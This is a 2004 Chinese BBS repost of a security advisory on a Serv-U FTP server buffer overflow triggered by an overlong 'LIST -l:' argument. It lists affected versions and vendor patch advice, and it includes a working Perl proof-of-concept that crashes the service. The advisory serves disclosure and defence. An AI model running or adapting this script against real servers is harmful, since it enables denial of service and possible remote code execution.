荔园在线

荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀

[回到开始] [上一篇][下一篇]


发信人: hellsolaris (qq), 信区: Security
标  题: Serv-U FTP服务器LIST命令超长-l参数远程缓冲区 ┅[转载]
发信站: 荔园晨风BBS站 (Fri Apr 23 10:45:28 2004), 站内信件

【 以下文字转载自 Network 讨论区 】
【 原文由 eyon 所发表 】
Serv-U FTP服务器LIST命令超长-l参数远程缓冲区溢出漏洞
发布日期:2004-04-19
更新日期:2004-04-22

受影响系统:
RhinoSoft Serv-U 5.0
RhinoSoft Serv-U 4.1.0.3
RhinoSoft Serv-U 4.1.0.11
RhinoSoft Serv-U 4.0.0.4
RhinoSoft Serv-U 4.0.0.0
RhinoSoft Serv-U 5.0.0.4
    - Microsoft Windows XP
    - Microsoft Windows NT 4.0
    - Microsoft Windows 98
    - Microsoft Windows 2000
不受影响系统:
RhinoSoft Serv-U 5.0.0.9
描述:
------------------------------------------------------------------------
--------
Serv-U是一个Windows平台下使用非常广泛的FTP服务器软件。

Serv-U在处理LIST命令对参数处理不正确,远程攻击者可以利用这个漏洞对FTP服
务程序进行拒绝服务攻击,存在执行任意指令的可能。

攻击者利用LIST -l:命令,提交超长字符串给SERV-U,可触发缓冲区溢出,导致服
务程序崩溃,精心构建提交数据可能以进程权限执行任意指令。

<*来源:storm (storm@stormdev.net)

  链接:http://www.securiteam.com/windowsntfocus/5ZP0G2KCKA.html
*>

测试方法:
------------------------------------------------------------------------
--------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

storm (storm@stormdev.net)提供了如下测试方法:

#!/usr/bin/perl

use IO::Socket;

$host = "192.168.1.243";

$remote = IO::Socket::INET->new ( Proto => "tcp",
     PeerAddr => $host,
     PeerPort => "2116",
    );

unless ($remote) { die "cannot connect to ftp daemon on $host" }

print "connected\n";
while (<$remote>)
{
print $_;
if (/220 /)
{
  last;
}
}

$remote->autoflush(1);

my $ftp = "USER anonymous\r\n";

print $remote $ftp;
print $ftp;
sleep(1);

while (<$remote>)
{
print $_;
if (/331 /)
{
  last;
}
}

$ftp = join("", "PASS ", "a\@b.com", "\r\n");
print $remote $ftp;
print $ftp;
sleep(1);

while (<$remote>)
{
print $_;
if (/230 /)
{
  last;
}
}

my $ftp = join ("", "LIST -l:", "A"x(134), "\r\n");

print $remote $ftp;
print $ftp;
sleep(1);

while (<$remote>)
{
print $_;
if (/250 Done/)
{
  last;
}
}

close $remote;

建议:
------------------------------------------------------------------------
--------
厂商补丁:

RhinoSoft
---------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.serv-u.com/


--
                                       再执著的思念也经不起漫长的等待
                    再绚丽的回忆也经不起褪色的煎熬
                                      我选择了默然离开
                         让无悔的青春写下最光辉的一行
                                      来换取终生的回忆!
ftp://DivX:DivX@192.168.0.99:62             ftp://192.168.0.99:206

※ 来源:·荔园晨风BBS站 bbs.szu.edu.cn·[FROM: 192.168.0.99]
--
※ 转载:·荔园晨风BBS站 bbs.szu.edu.cn·[FROM: 192.168.44.223]


[回到开始] [上一篇][下一篇]

荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店